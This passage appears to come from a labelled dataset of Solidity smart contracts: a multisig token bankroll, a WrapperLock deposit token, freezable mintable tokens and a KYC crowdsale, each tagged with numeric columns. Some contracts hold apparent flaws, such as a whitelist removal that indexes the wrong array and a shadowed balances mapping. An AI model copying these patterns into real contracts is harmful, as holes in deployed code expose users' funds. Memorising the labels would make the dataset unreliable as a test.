emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txToExecute = transactions[transactionId];
txToExecute.executed = true;
if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txToExecute.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
function whiteListContract(address contractAddress)
public
isAnOwner
contractIsNotWhiteListed(contractAddress)
notNull(contractAddress)
{
isWhitelisted[contractAddress] = true;
whiteListedContracts.push(contractAddress);
dailyTokensPerContract[contractAddress] = 0;
emit WhiteListAddition(contractAddress);
}
function deWhiteListContract(address contractAddress)
public
isAnOwner
contractIsWhiteListed(contractAddress)
{
isWhitelisted[contractAddress] = false;
for (uint i=0; i < whiteListedContracts.length - 1; i++)
if (whiteListedContracts[i] == contractAddress) {
whiteListedContracts[i] = owners[whiteListedContracts.length - 1];
break;
}
whiteListedContracts.length -= 1;
emit WhiteListRemoval(contractAddress);
}
function contractTokenWithdraw(uint amount, address target) public
contractIsWhiteListed(msg.sender)
{
require(isWhitelisted[msg.sender]);
require(ZTHTKN.transfer(target, amount));
}
function alterTokenGrant(address _contract, uint _newAmount)
public
isAnOwner
contractIsWhiteListed(_contract)
{
dailyTokensPerContract[_contract] = _newAmount;
}
function queryTokenGrant(address _contract)
public
view
returns (uint)
{
return dailyTokensPerContract[_contract];
}
function dailyAccounting()
public
isAnOwner
{
for (uint i=0; i < whiteListedContracts.length; i++)
{
address _contract = whiteListedContracts[i];
if ( dailyTokensPerContract[_contract] > 0 )
{
allocateTokens(_contract);
emit DailyTokenAdmin(_contract);
}
}
}
function retrieveTokens(address _contract, uint _amount)
public
isAnOwner
contractIsWhiteListed(_contract)
{
require(ZTHTKN.transferFrom(_contract, address(this), _amount));
}
function allocateTokens(address _contract)
public
isAnOwner
contractIsWhiteListed(_contract)
{
uint dailyAmount = dailyTokensPerContract[_contract];
uint zthPresent = ZTHTKN.balanceOf(_contract);
if (zthPresent <= dailyAmount)
{
uint toDispense = dailyAmount.sub(zthPresent);
require(permissibleTokenWithdrawal(toDispense));
require(ZTHTKN.transfer(_contract, toDispense));
emit DailyTokensSent(_contract, toDispense);
} else
{
uint toRetrieve = zthPresent.sub(dailyAmount);
require(ZTHTKN.transferFrom(_contract, address(this), toRetrieve));
emit DailyTokensReceived(_contract, toRetrieve);
}
emit DailyTokenAdmin(_contract);
}
function devTokenWithdraw(uint amount) public
onlyWallet
{
require(permissibleTokenWithdrawal(amount));
uint amountPerPerson = SafeMath.div(amount, owners.length);
for (uint i=0; i<owners.length; i++) {
ZTHTKN.transfer(owners[i], amountPerPerson);
}
emit DevWithdraw(amount, amountPerPerson);
}
function changeDivCardAddress(address _newDivCardAddress)
public
isAnOwner
{
divCardAddress = _newDivCardAddress;
}
function receiveDividends() public payable {
if (!reEntered) {
uint ActualBalance = (address(this).balance.sub(NonICOBuyins));
if (ActualBalance > 0.01 ether) {
reEntered = true;
ZTHTKN.buyAndSetDivPercentage.value(ActualBalance)(address(0x0), 33, "");
emit BankrollInvest(ActualBalance);
reEntered = false;
}
}
}
function fromHexChar(uint c) public pure returns (uint) {
if (byte(c) >= byte('0') && byte(c) <= byte('9')) {
return c - uint(byte('0'));
}
if (byte(c) >= byte('a') && byte(c) <= byte('f')) {
return 10 + c - uint(byte('a'));
}
if (byte(c) >= byte('A') && byte(c) <= byte('F')) {
return 10 + c - uint(byte('A'));
}
}
function fromHex(string s) public pure returns (bytes) {
bytes memory ss = bytes(s);
require(ss.length%2 == 0);
bytes memory r = new bytes(ss.length/2);
for (uint i=0; i<ss.length/2; ++i) {
r[i] = byte(fromHexChar(uint(ss[2*i])) * 16 +
fromHexChar(uint(ss[2*i+1])));
}
return r;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 0 | 249 |
pragma solidity ^0.4.22;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WrapperLock is BasicToken, Ownable {
using SafeMath for uint256;
address public TRANSFER_PROXY;
mapping (address => bool) private isSigner;
string public name;
string public symbol;
uint public decimals;
address public originalToken;
mapping (address => uint256) public depositLock;
mapping (address => uint256) public balances;
function WrapperLock(address _originalToken, string _name, string _symbol, uint _decimals, address _transferProxy) {
originalToken = _originalToken;
TRANSFER_PROXY = _transferProxy;
name = _name;
symbol = _symbol;
decimals = _decimals;
isSigner[msg.sender] = true;
}
function deposit(uint _value, uint _forTime) public returns (bool success) {
require(_forTime >= 1);
require(now + _forTime * 1 hours >= depositLock[msg.sender]);
require(ERC20(originalToken).transferFrom(msg.sender, this, _value));
balances[msg.sender] = balances[msg.sender].add(_value);
depositLock[msg.sender] = now + _forTime * 1 hours;
return true;
}
function withdraw(
uint8 v,
bytes32 r,
bytes32 s,
uint _value,
uint signatureValidUntilBlock
)
public
returns
(bool success)
{
require(balanceOf(msg.sender) >= _value);
if (now > depositLock[msg.sender]) {
balances[msg.sender] = balances[msg.sender].sub(_value);
success = ERC20(originalToken).transfer(msg.sender, _value);
} else {
require(block.number < signatureValidUntilBlock);
require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s));
balances[msg.sender] = balances[msg.sender].sub(_value);
success = ERC20(originalToken).transfer(msg.sender, _value);
}
require(success);
}
function transfer(address _to, uint256 _value) public returns (bool) {
return false;
}
function transferFrom(address _from, address _to, uint _value) public {
require(_to == owner || _from == owner);
assert(msg.sender == TRANSFER_PROXY);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
if (_spender == TRANSFER_PROXY) {
return 2**256 - 1;
}
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function isValidSignature(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
)
public
constant
returns (bool)
{
return isSigner[ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
)];
}
function addSigner(address _newSigner) public {
require(isSigner[msg.sender]);
isSigner[_newSigner] = true;
}
function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) {
return keccak256(_sender, _wrapper, _validTill);
}
} | 1 | 2,201 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Sharpay";
string public constant TOKEN_SYMBOL = "S";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x625B05c9a1d1148D28D44354950013492124094d;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0xa77273cba38b587c05defac6ac564f910472900e),address(0xa77273cba38b587c05defac6ac564f910472900e),address(0xa77273cba38b587c05defac6ac564f910472900e),address(0x973a0d5a68081497769e4794e58ca64b020dc164),address(0x7dddf3bc31dd30526fc72d0c73e99528c1a4a011)];
uint[5] memory amounts = [uint(621000000000000000000000000),uint(496800000000000000000000000),uint(124200000000000000000000000),uint(100000000000000000000000000),uint(1778000000000000000000000000)];
uint64[5] memory freezes = [uint64(1609441201),uint64(1577818801),uint64(1546282801),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,574 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.18;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.18;
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
pragma solidity ^0.4.18;
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.19;
contract KYCBase {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (uint64 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount);
function KYCBase(address [] kycSigners) internal {
for (uint i = 0; i < kycSigners.length; i++) {
isKycSigner[kycSigners[i]] = true;
}
}
function releaseTokensTo(address buyer) internal returns(bool);
function senderAllowedFor(address buyer)
internal view returns(bool)
{
return buyer == msg.sender;
}
function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
require(senderAllowedFor(buyerAddress));
return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s);
}
function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
private returns (bool)
{
bytes32 hash = sha256("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount);
address signer = ecrecover(hash, v, r, s);
if (!isKycSigner[signer]) {
revert();
} else {
uint256 totalPayed = alreadyPayed[buyerId].add(msg.value);
require(totalPayed <= maxAmount);
alreadyPayed[buyerId] = totalPayed;
KycVerified(signer, buyerAddress, buyerId, maxAmount);
return releaseTokensTo(buyerAddress);
}
return true;
}
function () public {
revert();
}
}
pragma solidity ^0.4.19;
contract ICOEngineInterface {
function started() public view returns(bool);
function ended() public view returns(bool);
function startTime() public view returns(uint);
function endTime() public view returns(uint);
function totalTokens() public view returns(uint);
function remainingTokens() public view returns(uint);
function price() public view returns(uint);
}
pragma solidity ^0.4.19;
contract CrowdsaleBase is Pausable, CanReclaimToken, ICOEngineInterface, KYCBase {
uint256 public constant USD_PER_TOKEN = 2;
uint256 public constant USD_PER_ETHER = 795;
uint256 public start;
uint256 public end;
uint256 public cap;
address public wallet;
uint256 public tokenPerEth;
uint256 public availableTokens;
address[] public kycSigners;
bool public capReached;
uint256 public weiRaised;
uint256 public tokensSold;
function CrowdsaleBase(
uint256 _start,
uint256 _end,
uint256 _cap,
address _wallet,
address[] _kycSigners
)
public
KYCBase(_kycSigners)
{
require(_end >= _start);
require(_cap > 0);
start = _start;
end = _end;
cap = _cap;
wallet = _wallet;
tokenPerEth = USD_PER_ETHER.div(USD_PER_TOKEN);
availableTokens = _cap;
kycSigners = _kycSigners;
}
function started() public view returns(bool) {
if (block.timestamp >= start) {
return true;
} else {
return false;
}
}
function ended() public view returns(bool) {
if (block.timestamp >= end) {
return true;
} else {
return false;
}
}
function startTime() public view returns(uint) {
return start;
}
function endTime() public view returns(uint) {
return end;
}
function totalTokens() public view returns(uint) {
return cap;
}
function remainingTokens() public view returns(uint) {
return availableTokens;
}
function senderAllowedFor(address buyer) internal view returns(bool) {
require(buyer != address(0));
return true;
}
function releaseTokensTo(address buyer) internal returns(bool) {
require(validPurchase());
uint256 overflowTokens;
uint256 refundWeiAmount;
uint256 weiAmount = msg.value;
uint256 tokenAmount = weiAmount.mul(price());
if (tokenAmount >= availableTokens) {
capReached = true;
overflowTokens = tokenAmount.sub(availableTokens);
tokenAmount = tokenAmount.sub(overflowTokens);
refundWeiAmount = overflowTokens.div(price());
weiAmount = weiAmount.sub(refundWeiAmount);
buyer.transfer(refundWeiAmount);
}
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
availableTokens = availableTokens.sub(tokenAmount);
mintTokens(buyer, tokenAmount);
forwardFunds(weiAmount);
return true;
}
function forwardFunds(uint256 _weiAmount) internal {
wallet.transfer(_weiAmount);
}
function validPurchase() internal view returns (bool) {
require(!paused && !capReached);
require(block.timestamp >= start && block.timestamp <= end);
return true;
}
function mintTokens(address to, uint256 amount) private;
}
pragma solidity ^0.4.18;
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
pragma solidity ^0.4.18;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
pragma solidity ^0.4.18;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
pragma solidity ^0.4.18;
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
pragma solidity ^0.4.18;
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
